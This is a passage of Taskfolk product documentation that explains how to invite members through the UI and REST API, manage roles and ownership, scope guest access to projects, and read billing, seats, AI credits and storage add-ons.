}), }); const invite = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/invites", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"email": "sara@example.com", "role": "member"}, ) invite = res.json() ``` `role` accepts `admin`, `member`, `viewer`, or `guest`. Owner is not accepted here either, same as the UI. The response gives you the pending invite: ```json { "data": { "id": "0198a1b2-...", "email": "sara@example.com", "role": "member", "invited_by_user_id": "0197f3c4-...", "expires_at": "2026-07-22T09:00:00.000Z", "created_at": "2026-07-15T09:00:00.000Z" } } ``` Three behaviors worth knowing before you loop over a spreadsheet. If the email is already a workspace member, you get a 409 conflict instead of a duplicate invite. If the email already has a live pending invite, the old one is revoked and replaced by the new one, so there's never more than one live invite per address. And the API body takes only `email` and `role`, so the guest project pre-pick is a UI-only convenience at invite time; for API-invited guests, grant projects from Scoped project access after they accept. `GET /v1/workspaces/{slug}/invites` lists the pending ones (scope `members:read`), which is how a script checks who hasn't accepted yet. For key setup, scopes, and retry discipline, see [how to use the REST API](/docs/how-to-use-the-rest-api). ## Change a role, transfer ownership, or remove someone People's needs change. Someone gets promoted, a contractor's engagement ends, a member should really be running things. All of it happens from the member row's kebab menu. ![The People page's Active members list with role badges on each row, Agent badges on AI agent members, the kebab menu at the end of each row, and the Invite people panel with its email field and pending invites area.](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) The menu offers a handful of actions, each gated by what you're allowed to do. **Change to Admin / Member / Viewer / Guest** re-roles the person in place. It's gated on the change-role permission, so owners and admins see it. You can't change the owner's role this way, because the owner's role only moves through a transfer. **Make owner** is owner-only and it's the big one. It atomically demotes you, the current owner, to admin and promotes the target to owner in the same move, so the workspace always has exactly one owner and never zero or two. Taskfolk makes you confirm with a blunt prompt: "They become the workspace owner and you become an admin. Only an owner can transfer ownership back." Read that twice before you click. After this you're an admin, and getting the crown back means the new owner has to hand it to you. **Remove** shows up as a danger action and is gated on the remove permission. You can't remove the owner, and you can't remove yourself. To leave yourself, there's a separate Leave workspace button (visible to everyone except the owner, who has to transfer ownership before they can go). When you remove someone, Taskfolk is careful with their work: only their open issues get unassigned. Their comments and their issue history stay exactly where they are. Nothing they wrote disappears. The confirmation spells it out: "They lose access to this workspace and all of its projects. Their issues and comments stay." So removing a departed contractor doesn't gut your project history. It just frees up their open tickets for reassignment. **Mark as agent / Unmark agent** flags a member as an AI agent, or unflags them. Owners and admins can do it, and the owner can never be an agent. This is the toggle that puts the Agent badge on a row and keeps that member out of your seat count. If you're bringing an AI teammate into the workspace, the setup flow is covered in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent), and the harder question of what an agent should and shouldn't be allowed to decide on its own is worth reading in [decision rights between your team and AI agents](/blog/decision-rights-between-your-team-and-ai-agents). ## Manage scoped project access after the fact Sometimes you need to widen a guest's access later, or lock a sensitive project down to a named few. That's the Scoped project access card. Two honesty notes about this card, because it's conditional. First, it's owner and admin only. Second, and this one catches people, it only appears when the workspace actually has scoped projects (a project with `scoped = 1`). A fresh workspace, or a demo where nothing has been locked down, won't show the card at all. So if you go hunting for it and it isn't there, that's not a bug. You just don't have any scoped projects yet. ![A project's Settings Access tab showing the Scoped project access card with its explanation text and the Restrict access to explicit members toggle switched off.](/images/blog/how-to-restrict-project-access-access-tab-off.webp) When it is there, the card lets you grant or revoke explicit per-project membership for existing workspace members, each with a project-level role (Admin, Member, or Viewer). The card describes itself: "Scoped projects are visible only to workspace owners and admins plus the people listed here. Grant or revoke access per project." This is exactly where you go to add a guest to a second project after they've accepted, or to make a sensitive project (compensation planning, say) visible to only three named people instead of the whole workspace. ## Common mistakes and the limits worth knowing A few things to keep straight so you're working with the tool instead of against it. - **Only owners and admins can manage people.** Members, viewers, and guests can't invite, remove, or re-role anyone. If a teammate says they can't find the invite button, check their role before you assume something broke. - **Admins are powerful but not all-powerful.** An admin can change roles but can't promote anyone to owner, can't demote the owner, can't delete the workspace, and can't transfer ownership. Those four are owner-only, on purpose. If one of them needs doing and you're an admin, the owner has to be the one to do it. - **Invites are not permanent links.** They expire in 7 days, they're single-use, and they're bound to the exact email you sent them to. Don't treat one as a reusable join code, and don't forward it. If it lapsed, use Resend. - **Bulk has limits.** A single submit tops out at 50 people, and the workspace is capped at 100 invites per hour. Generous for a normal team, worth pacing for a big migration. - **Guests see nothing until you give them a project.** Pre-pick projects at invite time, or add them afterward from Scoped project access. A guest with no project is a guest staring at an empty screen. - **The Scoped project access card only shows when scoped projects exist.** Don't count on it always being on the page. - **Removing someone preserves their work.** Their open issues get unassigned; their comments and history stay. It's a clean handoff, not a purge. If you've come from a heavier tool, this whole page is deliberately lighter. Jira splits the same job across global permissions, project roles, permission schemes, and a security level or two, and untangling which one is blocking a person can eat an afternoon. Taskfolk collapses it into five roles, one matrix, and one page, which is most of the point. If you're weighing the two, [Taskfolk vs Jira](/vs/jira) lays out where the simpler model helps and where it doesn't. Head to Settings, then People, and set your team up the way you actually want it. --- # How to manage billing and plans URL: https://taskfolk.ai/docs/how-to-manage-billing-and-plans Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: pricing, Taskfolk, how-to Read the Taskfolk billing page at a glance: how editor seats are counted, why viewers and agents are free, where to upgrade, downgrade, cancel, and buy credits. Someone on your team just added their fifth teammate, and now you want to know who actually costs money before the invoice lands. That is the real question behind any project management tool pricing and seats decision. It is almost never the sticker price that surprises people. It is the counting: which roles bill, which ride along free, where the cancel button hides, and what happens to your AI credits when the month flips over. This is the full walkthrough of managing your plan, seats, and billing in Taskfolk. By the end you will read your billing page in a glance, know exactly how editor seats get counted, upgrade or downgrade in the right place (they are not the same place), spot a capacity wall before you hit it, and handle AI credits and storage add-ons without guessing. I will also be straight about the limits, because the fastest way to burn an afternoon is hunting for a button that does not exist. ## What you'll learn - Read your plan, seat count, billing cycle, and estimated cost off the billing hero without hunting. - Understand how editor seats are counted (owner, admin, member) and why viewers and agents are free. - Upgrade through Stripe Checkout, but downgrade or cancel through the Stripe portal. They live in different places. - Read the Usage section: storage caps, project caps, and how AI credits work (monthly grant versus purchased, non-rolling). - Buy AI credit packs, set auto top-up, and stack storage add-ons, each on its own tab. ## Where plan, seats, and billing actually live Everything about your plan sits on one page: the Billing tab of your workspace settings. The path is `/w/[ws]/settings?tab=billing`, so for a workspace called `taskfolk` that is `/w/taskfolk/settings?tab=billing`. Two things worth knowing so you do not go in circles. There is an older `/w/[ws]/settings/billing` URL floating around, but it is only a redirect that preserves the return parameters Stripe hands back after checkout. It is not the real page, so do not bookmark it as one. And there is no `/w/taskfolk/billing` route at all. If you typed that and got nothing, that is why. Access is gated. Only an owner or admin (anyone with the `workspace.edit_settings` permission) can act on this page: upgrade, open the portal, buy credits. Members and viewers see the exact same billing page, just read-only, with none of the buttons. So when a teammate says they cannot find the upgrade button, the answer is almost always their role, not a bug. One expectation to set now so the later sections make sense: "billing" in Taskfolk is really three settings tabs, plus two hosted Stripe surfaces for anything that touches your card. | Where | URL or button | What lives there | | --- | --- | --- | | Billing tab | `/w/[ws]/settings?tab=billing` | Plan, seats, usage, AI credits, auto top-up | | Storage tab | `/w/[ws]/settings?tab=storage` | Stackable storage add-ons | | Invoices tab | `/w/[ws]/settings?tab=invoices` | Invoices and receipts, PDF downloads | | Stripe Checkout | Upgrade / Change plan button | Paying for a new or higher plan | | Stripe portal | Manage billing button | Downgrade, cancel, update card | The same map as a picture, because this is the part people get lost in: ```mermaid flowchart LR A[Upgrade or change plan] --> C[Stripe Checkout] B[Downgrade or cancel] --> P[Stripe portal] D[Update payment method] --> P E[Buy AI credits] --> T1[Billing tab] F[Storage add ons] --> T2[Storage tab] G[Receipts and PDFs] --> T3[Invoices tab] ``` ## Read the billing hero: your plan, status, and cost at a glance The top of the Billing tab is a hero card, built so you can answer "what am I paying and when" in about three seconds. Start top left: the plan name. Free, Pro, or Business. Next to it sits a status badge, and that badge matters more than people expect: - `active` is the normal, paid, all-fine state. - `trialing` means you are inside the 14-day Pro trial (more on that at the end). - `past due` means a payment failed and Stripe is retrying, so update your card before it escalates. - `unpaid` and `canceled` mean the subscription has lapsed or been ended. - `incomplete` shows up when a checkout started but the first payment never cleared. If you ever see anything other than `active` or `trialing` and you did not expect it, that badge is your cue to open the portal and check your payment method. The states connect like this: ```mermaid stateDiagram-v2 [*] --> trialing: new workspace trialing --> active: paid plan starts [*] --> incomplete: first payment fails incomplete --> active: payment clears active --> past_due: renewal fails past_due --> active: card fixed past_due --> unpaid: retries run out active --> canceled: canceled in portal ``` ![The current-plan hero card at the top of the Billing tab, showing the plan name and status badge plus the four-stat strip (Editor seats, Billing cycle, Renews date, Est. cost) so you can read what you pay and when at a glance.](/images/blog/how-to-manage-billing-and-plans-billing-plan-hero.webp) Below the plan name is a four-stat strip. Left to right: Editor seats (how many roles are billable right now), Billing cycle (Monthly or Annual), a Renews or Cancels date (it reads Renews on an active plan, Cancels if you have scheduled a cancellation), and Est. cost. That last one needs a warning. Est. cost is display-only. It is computed as your seat count times the advertised per-seat price, shown as something like "{total}/mo for {n} editors". Helpful estimate, not your invoice. The real, authoritative numbers are the prices configured in Stripe, and those are what actually get charged. So when you are reconciling what you paid, trust the invoice on the Invoices tab, not the Est. cost figure. They will usually match. When they do not (a mid-cycle proration, a promo, a currency detail), Stripe wins. ## How editor seats are counted (and who is free) This is the heart of the whole pricing and seats question, so let me be precise. An editor seat is any member with the role owner, admin, or member. Those three roles can create and change work, so those are the ones you pay for. Viewers do not count. Agent members do not count. The page says it plainly: "Billed for {n} editor seats. Viewers are not charged." A viewer is read-only, described in the role picker as "Read-only - cannot comment, upload, or edit anything." They can look. They cannot touch. They cost you nothing. ![The workspace people list showing each member with their role. Owner, admin, and member roles are billed as editor seats; viewers and agents ride along free.](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) You do not manage the seat count by hand. It syncs on its own. Add a member, remove one, or change someone's role, and Taskfolk updates the quantity on your Stripe subscription item (via `syncWorkspaceSeats`); Stripe then prorates the difference for the current cycle. One floor to remember: a subscription always bills at least 1 seat, so you cannot drop to zero and keep a paid plan. ```mermaid sequenceDiagram participant A as Admin participant U as Taskfolk participant S as Stripe A->>U: Promote a viewer to member U->>S: Sync seat quantity on the subscription S-->>U: Prorate the difference this cycle U-->>A: Seat count ticks up on the hero ``` A concrete example from the WEB demo project. Say a stakeholder was added as a viewer, just watching the "Timeline + Summary tab" ticket move across the board from Backlog to In Review. They cost nothing. The moment you promote that viewer to member so they can pick up work, your editor-seat count ticks up by one and your next invoice reflects it, prorated. Demote them back to viewer and the seat drops off again. That is the entire mechanic. It means you can pull in clients or read-only observers without touching your bill, and pay only for the people doing the work. If you are wondering whether AI agents change this math, they do not, and it is worth reading [do AI agents count as seats](/blog/do-ai-agents-count-as-seats) for the full reasoning. For the mechanics of bringing people in and setting their role, see [how to invite team members](/docs/how-to-invite-team-members). ## Compare the three plans and pick a cycle: project management tool pricing and seats Further down the billing page is the plan grid, three cards side by side, and this is the clearest view of Taskfolk's project management tool pricing and seats model. ![How to manage billing and plans - plan grid](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) Free is $0, "For getting started." Pro is "For growing teams" and badged "Most popular" unless you are already on it. Business is "For scale." The capacity numbers, side by side: | | Free | Pro | Business | | --- | --- | --- | --- | | Price per seat | $0 | $3/mo or $30/yr | $6/mo or $60/yr | | Active projects | 5 | Unlimited | Unlimited | | Storage | 128 MB | 1 GB | 100 GB | | AI credits per month | 25 | 5,000 | 20,000 | Above the cards is a Monthly / Annual toggle. Flip it to Annual and you get the note "Two months free on annual." That is not marketing fuzz. The annual price is exactly ten times the monthly, so you pay for ten months and get twelve. Now the part most pricing pages get wrong, and I want to be blunt about it. Free is feature-complete. Sprints, timeline, reporting, integrations, and AI all work on every plan, Free included. The tiers do not differ by which features are unlocked. They differ by capacity: how many active projects you can run, how much storage you get, how big your monthly AI grant is, and the per-seat price. So do not upgrade because you assume sprints or the timeline sit behind a paywall. They do not. Upgrade when you hit a capacity wall. One correction on the Free plan's own copy: the feature bullet reads "5 projects, unlimited issues." The Free active-project cap is five. So Free gets you five active projects with unlimited issues in each, plus Pro's full feature set at reduced capacity. If you have seen a stray "2" quoted somewhere, ignore it; the number that is enforced and displayed is five. Weighing Taskfolk against other tools on price? The per-seat comparison is laid out in [Jira alternatives and price per seat](/blog/jira-alternatives-price-per-seat) and on the [Taskfolk vs Jira](/vs/jira) page. ## Upgrade or change your plan through Stripe Checkout The action button in the plan grid changes its label depending on where you stand. On a higher tier than your current one it reads "Upgrade." On a lower tier it reads "Change plan." On your current tier it reads "Current plan" and does nothing. The Free card, when you are on a paid plan, just reads "Free." Only owners and admins see these as live buttons. Click Upgrade (or Change plan) and Taskfolk hands you off to hosted Stripe Checkout. The button flips to "Redirecting..." while it builds the session, then you land on Stripe's own secure page. You enter or confirm your card there, Stripe takes the payment, and you come back to Taskfolk with the new plan already reflected. Taskfolk never sees your card number. That is the whole point of hosted Checkout. One fallback to know. If this particular deployment does not have billing configured (`billingEnabled()` is false), the plan grid is replaced by a single line, "Billing is not configured for this deployment.", and no checkout will run. If you see that, billing is simply not turned on for your instance, and there is nothing to click. Here is the handoff that trips people up constantly. This button upgrades and it changes plans. It does not downgrade you to a cheaper plan, and it does not cancel. Those live somewhere else entirely. ## Downgrade, cancel, and update payment through the billing portal Let me say the honest limit plainly, because pretending otherwise wastes your time: the in-app Taskfolk UI does not let you downgrade or cancel your plan. There is no cancel button hiding on the billing tab. Do not look for one. Those actions live only in the hosted Stripe billing portal. You reach it from the button labeled "Manage billing" (or "Open billing portal"), which carries the helper text "Change, downgrade, or cancel." Click it and Stripe opens its customer portal in your name. Inside, you can switch plans, downgrade to a cheaper tier, cancel outright, update or replace your payment method, and browse your invoices. Everything that reduces or ends what you pay happens in Stripe, on purpose, because Stripe is the system of record for the subscription. There is a safety detail worth understanding before you downgrade. Taskfolk will not silently delete your data to fit the smaller plan. If a downgrade puts you over the new plan's limits, you get honest over-limit copy instead. For storage it reads: "You are over your plan limit. Archive down to your plan or upgrade to keep everything editable." You get a matching warning for the project cap if you are running more active projects than the lower plan allows. Nothing is destroyed. Your stuff sits there, and you choose whether to archive down to fit or upgrade back to keep it all editable. So downgrading is safe to try. It just might leave you with a decision to make afterward. ## Read your usage: storage and workspace resources Below the plan grid is the Usage section, and this is the part I wish more people checked before they got blocked instead of after. It shows you the walls before you hit them. The Storage card shows used versus cap, with a meter and a plan-cap label like "1 GB storage included with your plan." The caps are Free 128 MB, Pro 1 GB, Business 100 GB. One technical note that matters for accuracy: the cap is resolved live from your current plan, not read off some stored number, so it is correct even right after a plan change. If you are near the ceiling the card nudges you toward an upgrade before uploads start failing. Next to it is the Workspace resources card. It lists Projects (used versus cap, Free capped at 5, paid unlimited), Members ("Unlimited members" on every plan), and Editor seats, each with its own meter. When you approach or cross a limit, you get a near-limit or over-limit prompt right there. This is the single best habit for avoiding surprises: glance at this card when your team is growing. If the Projects meter reads four of five on Free, you know a plan decision is coming before the sixth project gets blocked, not at the moment you try to create it. If you would rather watch these numbers from a script or a dashboard, the same data is one request away on the public API. `GET /api/v1/workspaces/{slug}/usage` needs an API key with the `workspaces:read` scope and returns plan, storage, and credit state in a single payload: ```bash curl https://taskfolk.ai/api/v1/workspaces/taskfolk/usage \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/taskfolk/usage", { headers: { Authorization: "Bearer tfk_live_a1b2..." }, }); const { data } = await res.json(); console.log(data.storage.used_pct, data.ai_credits.remaining); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/taskfolk/usage", headers={"Authorization": "Bearer tfk_live_a1b2..."}, ) data = res.json()["data"] print(data["storage"]["used_pct"], data["ai_credits"]["remaining"]) ``` The response mirrors what the billing page shows, caps resolved live from the current plan, add-ons stacked in: ```json { "data": { "plan": { "plan": "pro", "status": "active", "trialing": false, "cycle": "monthly", "current_period_end": "2026-08-01T00:00:00.000Z" }, "storage": { "used_bytes": 412876800, "cap_bytes": 1073741824, "base_cap_bytes": 1073741824, "addon_bytes": 0, "remaining_bytes": 660865024, "used_pct": 38 }, "ai_credits": { "monthly_grant": 5000, "used": 1240, "remaining": 3760, "topup_balance": 2000, "daily_limit": 1400, "daily_used": 85, "daily_remaining": 1315 } } } ``` ## Understand AI credits: grant, purchased, and buying more AI in Taskfolk runs on credits, and the credits card is its own little dashboard. Read it right and month-end holds no surprises. At the top is "Available now," your total spendable balance this second. Then a "Monthly allowance used" progress bar showing how much of this cycle's grant you have burned, with the reset date ("Monthly allowance resets {date}"). Below that: "Included this month" (your plan's grant), "Purchased balance" (credits you bought that sit on top of the grant), and "Today's pace," a daily safety cap shown as "{left} of {limit} left today" so a runaway loop cannot drain a month of credits in one afternoon. ![How to manage billing and plans - credits card](/images/blog/how-to-manage-billing-and-plans-credits-card.webp) The monthly grant depends on your plan: Free 25 credits a month, Pro 5,000, Business 20,000. Here is the rule that catches people. The monthly grant does not roll over. It is non-rolling and resets on the 1st of the month, UTC. Whatever grant credits you did not spend are gone at reset. Purchased and top-up credits are different: those persist across the reset. So the mental model is "use your grant first, it expires; your purchased balance is money in the bank." And to be clear, AI is credits-gated, not plan-gated. Every plan, Free included, can use AI until its monthly grant runs out. Free is not locked out of AI. It just has a smaller monthly allowance (25) before you would need to buy more. ![The AI assistant launcher inside a project. Every AI feature draws on the same credit balance, whatever plan you are on.](/images/blog/how-to-use-the-ai-assistant-launcher.webp) Buying more is straightforward, and it is owner/admin only. Three named packs plus a custom option: - Starter: 2,000 credits for $20. - Team: 5,500 credits for $50 (save 9% versus the starter rate). - Scale: 12,000 credits for $100 (save 17%, badged "Best value"). - Custom amount: anywhere from 500 to 50,000 credits at $0.01 per credit (list price). Pick a pack, check out through Stripe, and the credits land on your Purchased balance after payment. If you use AI steadily and never want to run dry, set up Auto top-up. You tell it to "Automatically buy more credits when I'm running low," choose the threshold ("Top up when balance falls below") and the pack to buy ("Pack to purchase"), then Save auto top-up. Two conditions to know. It requires a saved payment method (from a prior subscription or a completed credit checkout), otherwise it errors with "Add a payment method first." And it has a 1-hour cooldown between automatic charges, so a busy day cannot trigger a rapid string of purchases. ## Add storage and find your invoices (separate tabs) Two things people expect on the billing tab that actually sit one tab over each. Storage add-ons live at `/w/[ws]/settings?tab=storage`. They are monthly and stackable: - +10 GB for $4 per month - +50 GB for $15 per month - +100 GB for $28 per month Buy as many as you need; the bytes stack on top of your plan's base cap rather than replacing it. So a Pro workspace (1 GB base) with a +50 GB and a +10 GB add-on has 61 GB total. This is the lever to pull when you are close to your storage ceiling but do not need everything else a higher plan brings. Your billing history lives on a third tab, `/w/[ws]/settings?tab=invoices`: Invoices & receipts. It lists everything you have been charged for (subscription invoices, storage add-ons, and credit purchases), and each row has a PDF or Receipt download link. Like the rest of billing, this is owner/admin only. This is where you go for the real numbers at tax time or when you are reconciling a card statement, not the Est. cost figure on the hero. ## The trial, workspace limits, and mistakes to avoid A few gotchas that reliably bite people, gathered in one place. The trial. A new workspace starts on a 14-day Pro reverse trial, and while trialing it carries a larger 100-credit AI grant. The catch is that the trial is granted once per user, on the very first workspace you create (tracked on your user record). Every workspace you create after that starts on Free, not on a fresh trial. And deleting the trial workspace does not reset it: the "once" is tied to you, not to the workspace. So do not plan to farm trials by making and deleting workspaces. It will not work. Workspace limits. A single user can own at most three unpaid workspaces (Free or no subscription). Workspaces you are merely a member of, and any paid workspaces, do not count toward that three. This is enforced when you try to create a workspace, not on the billing page, so if you cannot create a fourth free workspace, this cap is why. And the mistakes I see most: - Hunting for a cancel button inside Taskfolk. It is not there. Cancellation and downgrade are in the Stripe portal, behind "Manage billing." - Assuming your monthly AI grant rolls over. It does not. Grant credits reset on the 1st (UTC); only purchased and top-up credits carry forward. - Thinking viewers cost money. They do not. Only owner, admin, and member roles are billed. Viewers and agents are free. - Quoting the Est. cost figure as your invoice. It is display-only (seats times advertised price). The Invoices tab and Stripe hold the real charges. Get those four straight and the billing page stops holding any surprises. ## Try it now Open your workspace Billing tab, check the status badge and the seat count, and you will know exactly what your next invoice says before Stripe sends it. --- # How to manage roles and permissions URL: https://taskfolk.ai/docs/how-to-manage-roles-and-permissions Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: roles and permissions, how-to, Taskfolk Learn how project management roles and permissions work in Taskfolk: the five roles, inviting with the right access, scoped projects, and who pays for a seat. You added a contractor to your workspace last week. They needed one project, the redesign you're doing for a client. Today you notice they can open every project in the workspace, including the internal roadmap you meant to keep private. Nothing broke. No bug. You picked the wrong role when you invited them, and in Taskfolk that one choice at invite time decides what a person can and cannot touch. That is a project management roles and permissions problem, and it is worth getting right before you send a single invite. This guide covers all five roles Taskfolk gives you, how to invite people with the correct access from the start, how to change a role or hand off ownership later, and how scoped projects keep external collaborators out of the work you don't want them in. The People page is where all of this lives, so that is where we start. ## Why project management roles and permissions matter before you invite anyone Access is easier to set correctly than to walk back. Once a contractor has been reading your internal project for a week, "un-seeing" it is not a thing. The private roadmap they browsed, the pricing chatter in the comments, the half-finished ideas in the backlog, all of it is already in their head. The moment that actually protects your work is the invite, not the cleanup afterward. Taskfolk handles this with roles. Every person in a workspace holds exactly one workspace role, and that role answers a single question: what is this person allowed to do here. Can they delete a project? Edit someone else's issue? Only read, never touch? Or are they an outsider who should see one project and nothing else? The role decides, workspace-wide. The whole model is built so the tight choice is the easy one. There are five roles: owner, admin, member, viewer, and guest. A lot of tools stop at four and treat the external-collaborator case as an afterthought. Taskfolk makes guest a real role with its own rules, which is what you want when a client, a freelancer, or an agency needs into one project and nowhere else. You manage every bit of this from one screen. In the workspace nav it is labelled **People**, and it is home base: who is in the workspace, what each person can do, who is still sitting on an unaccepted invite, and which external folks are scoped to which projects. Let's open it. ## The People page: where you see and manage everyone The People page lives at `/w/[workspace]/members`. One honest note first: the nav label and the page title both say **People**, but the URL still says `/members`. That is on purpose. The route was kept as `/members` so old links and bookmarks never break, while the visible name moved to People because it reads better. Type the URL by hand, use `/members`. Click around, look for People. At the top of the page is a summary strip. It shows **Total** and then a count for each role: **Owner**, **Admin**, **Member**, **Viewer**, **Guest**. This is the fastest read on your workspace's shape. One glance tells you that you have, say, one owner, two admins, eight members, three viewers, and one guest, which is often enough to catch a mistake on its own. If you expected zero guests and see one, you know where to look. Below the strip is the **Active members** list. Each row shows the person's avatar (their image, or their initials if they haven't set one), their name, their email, and a colored role badge so you can tell an owner from a viewer at a glance. Your own row carries a small **You** badge so you never confuse yourself with a teammate who shares a name. Rows that belong to AI agents carry an **Agent** badge, because an agent in Taskfolk is a real workspace member, just a non-human one. ![The Taskfolk People page showing the role-count summary strip with Total and per-role counts, the Active members list with avatars, names, emails, and colored role badges, plus the Invite people card. This is the single screen where you see and manage everyone's access.](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) On the right side of the page you'll find the **Invite people** card and, depending on your workspace, a **Pending invites** panel and a **Scoped project access** card. We'll get to each. For now the thing to absorb is that this single page is where you both see the current state and change it. You don't hunt through project settings to manage who's who at the workspace level. It's all here. ## The five roles, and what each one can actually do Under the hood, every permission decision in Taskfolk runs through a single role-permission matrix. One table, roles down one side, actions across the top, a yes or no in each cell. That is the whole authorization model, and because there is only one table, behavior is consistent everywhere. The board, the issue detail, comments, docs, team chat, forms, and the AI features all ask the same table the same question. Here is what each role means in practice. **Owner.** There is exactly one owner per workspace, and it's you if you created it. The owner has full control. Three things belong to the owner alone: deleting the workspace, changing the workspace slug (the `/your-workspace` part of the URL), and transferring ownership to someone else. No admin can do those, no matter how trusted. The owner role is not something you hand out. It's something you hold, or deliberately pass on. **Admin.** Admins run the workspace day to day. An admin can: - edit workspace settings - invite and remove members - change other people's roles (with one hard limit, covered below) - create and archive projects, and edit project settings - edit or delete any comment, not just their own - manage forms and moderate team chat, which means deleting any message and managing channels An admin is your co-pilot. The one thing an admin cannot do is become the owner or touch the owner's row. More on that under ownership transfer. **Member.** This is the default working role, and it's the one most of your teammates should have. A member can: - create issues and edit their own issues - write, edit, and delete their own comments - upload attachments - manage labels and write docs - use AI chat and send messages in team chat - connect their own coding agent What a member cannot do is edit work that isn't theirs. They can't rewrite a teammate's issue or delete a comment they didn't write. That boundary is what keeps a busy workspace from turning into a place where anyone overwrites anyone. **Viewer.** A viewer is read-only, and it's stricter than people expect. Viewers cannot comment, cannot upload, cannot edit anything, and cannot spend the workspace's AI credits. They look, they don't change. One exception is worth knowing: viewers **can read team chat**. They can follow the conversation in your channels, they just can't post. So "viewers see nothing" is wrong. They see plenty. They can't alter any of it, and they can't run up an AI bill. Viewer is the right role for a stakeholder who wants visibility without a seat at the keyboard. **Guest.** A guest is an external collaborator, and the defining trait is scope. A guest does not see your workspace. A guest sees only the specific projects you explicitly add them to, and nothing else. Within those projects a guest can create and edit their own issues, comment, and attach files, which is enough for real work together. But a guest cannot edit other people's issues, cannot manage labels or docs or forms, cannot use AI chat, and cannot touch any workspace, project, or member administration. Guest is the role for the client, the freelancer, the agency partner. It is the answer to the contractor problem in the opening. The same five rows, condensed: | Role | Billed seat | Can change work | Sees by default | |---|---|---|---| | Owner | Yes | Everything, plus delete workspace, change slug, transfer ownership | Every project | | Admin | Yes | Workspace and project admin, any comment | Every project | | Member | Yes | Their own issues and comments | All open projects | | Viewer | No | Nothing, read-only | All open projects | | Guest | No | Their own issues and comments, in granted projects only | Nothing | So: five roles, not four. Owner and admin run things, member does the work, viewer watches, guest is the outsider you let into one room. Hold that model and most invite decisions get obvious. ## How to invite members to a workspace with the right role Inviting is done from the **Invite people** card on the People page. Only owners and admins see this card. Members, viewers, and guests can't invite. The card's own line sums up the flow: "Enter an email, pick a role, and send. The invite expires after 7 days." If your company manages accounts through an identity provider, [how to set up SSO and SCIM](/docs/how-to-set-up-sso-and-scim) covers provisioning members automatically instead of inviting them one by one. You can invite one person or a batch. Paste emails separated by commas, spaces, semicolons, or newlines, up to 50 addresses in a single submit. For each invitee you pick a role from a Select: **Admin**, **Member**, **Viewer**, or **Guest**. Notice what's missing. There is no Owner option. Owner is never invitable, by design, because a workspace can only ever have one owner and the only way to move it is a deliberate transfer. The invite form doesn't make you remember what each role means. Every option carries a plain-language description right there in the form: | Option | What the form says | |---|---| | **Admin** | "Can invite members, manage projects, and change roles (except owner)." | | **Member** | "Can create and edit issues and leave comments." | | **Viewer** | "Read-only - cannot comment, upload, or edit anything." | | **Guest** | "External collaborator - only sees the projects you add them to." | Pick the role, hit **Send**, and the invite goes out as a magic-link email. Taskfolk is passwordless, so there's no password step for the invitee to fumble. They accept by signing in with the same email you invited, and on sign-in they join the workspace with the role you chose. A few honest limits so nothing surprises you: - Invites expire after 7 days and are single-use. - Invites are rate-limited to 100 per hour per workspace, and a single submit is capped at 50 addresses, so you can't paste a thousand emails and blast them at once. - If you invite someone who already has a pending invite, the new one revokes and replaces the old. - Pending invites show up in the **Pending invites** panel, where you can **Resend** one (a fresh token, a new 7-day clock, a new email) or **Revoke** one (the link stops working immediately). - Expired invites drop off the list on their own. The whole life of an invite fits in one picture: ```mermaid stateDiagram-v2 [*] --> Pending: Send invite Pending --> Accepted: Recipient signs in Pending --> Expired: 7 days pass Pending --> Revoked: Revoke, or a new invite replaces it Pending --> Pending: Resend starts a new 7 day clock Accepted --> [*] ``` For a fuller walkthrough of the invite flow, including what the recipient sees, read [how to invite team members](/docs/how-to-invite-team-members). ## Inviting a guest and scoping them to specific projects Here's where the contractor problem gets solved properly. When you choose **Guest** as the role, the invite form changes: a **Projects for guests** picker appears. It's a searchable multi-select, so in a workspace with a lot of projects you can type to filter instead of scrolling. This is the whole point of the guest role, deciding exactly which projects the outsider lands in. Say you're bringing in an external designer to help on the WEB project and only WEB. You invite their email, set the role to Guest, and in **Projects for guests** you select WEB. That's it. When they accept, they see the WEB project, its board with your Backlog / To Do / In Progress / In Review / Done columns, its issues like "Timeline + Summary tab," and nothing else. Your internal roadmap, your other client work, your finance project, none of it exists as far as they can tell. The form is explicit about the default: "Guests start with no project access. After they accept, add them to specific projects from the scoped-access section below." A guest begins with zero visibility and you grant projects deliberately, one at a time. This is the inverse of the leak in the opening. A member sees every non-scoped project by default. A guest sees nothing by default. That difference is exactly why the contractor should have been a guest, not a member. ```mermaid flowchart TD A[Who sees which projects] --> B[Owner or admin] A --> C[Member or viewer] A --> D[Guest] B --> E[Every project, always] C --> F[All open projects plus scoped projects they are added to] D --> G[Only projects granted explicitly] ``` One technical honesty worth knowing. When you add a guest to a project, the project membership stores a project-level role of admin, member, or viewer, because the underlying project-members table has no "guest" value. That project-level label does not raise the guest's ceiling. Their real permissions are still governed by the workspace **guest** row in the matrix. So even if a guest is stored as a project "admin," they still can't do the workspace-guest-forbidden things like managing labels or using AI chat. The workspace role is the ceiling. The project role is just how the membership is recorded. If you want the deeper mechanics of locking projects down, [how to restrict project access](/docs/how-to-restrict-project-access) covers scoped projects end to end. ## How to change someone's role or transfer ownership People's roles change. A contributor becomes a lead. A stakeholder wants edit access. A co-founder should really be an admin. You handle all of it from the per-row kebab menu, the `⋮` at the end of each member row on the People page. Open the menu on someone's row and you'll see the role-change actions as **Change to {role}**, for example "Change to Admin" or "Change to Viewer." Pick one and the change is immediate. A toast confirms with "Role updated to {role}." Under the hood this calls the `changeMemberRole` action, which enforces the rules so you can't create an inconsistent state. The big one: you cannot demote an owner through this menu. The owner row won't offer you a "Change to admin," because the only way ownership moves is a real transfer. That transfer is its own action. As the owner, the row menu on another member shows **Make owner**. Choosing it opens a confirm dialog that spells out the swap: "Transfer ownership to {email}? They become the workspace owner and you become an admin. Only an owner can transfer ownership back." Confirm, and the change is atomic. The target becomes owner and you are demoted to admin in the same move, so at every instant there is exactly one owner. You never end up with two owners or zero. A 